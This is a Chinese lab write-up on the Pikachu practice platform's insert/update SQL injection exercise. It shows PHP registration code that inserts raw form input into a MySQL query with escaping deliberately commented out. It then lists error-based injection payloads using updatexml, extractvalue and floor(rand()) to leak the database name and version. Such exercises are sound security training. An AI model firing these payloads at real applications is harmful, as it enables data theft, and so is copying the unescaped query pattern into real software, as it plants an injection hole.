Pikachu 漏洞练习平台 “insert/updata”注入
源代码
$html='';
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
// $getdata=escape($link, $_POST);//转义
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";
}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}
注入Payload
- kobe’ or updatexml(1,concat(0x7e,database()),0) or '
- *kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a)#
- kobe’ extractvalue(0,concat(0x7e,version())) #
UPDATEXML (XML_document, XPath_string, new_value);
XML_document是String格式,为XML文档对象的名称;
XPath_string (Xpath格式的字符串) ;
new_value,String格式,替换查找到的符合条件的数据 ;
作用:改变文档中符合条件的节点的值。
FLOOR()函数可参考
SQL注入:floor()报错注入
本文详细介绍了Pikachu漏洞练习平台中的一个SQL注入漏洞,该漏洞源于代码未对用户输入进行转义,允许执行`insert`和`update`操作。通过提供精心构造的Payload,攻击者可以利用此漏洞获取数据库信息或修改数据。示例Payload包括了`UPDATEXML`函数的使用,展示了如何改变XML文档中节点的值。
5164

被折叠的 条评论
为什么被折叠?



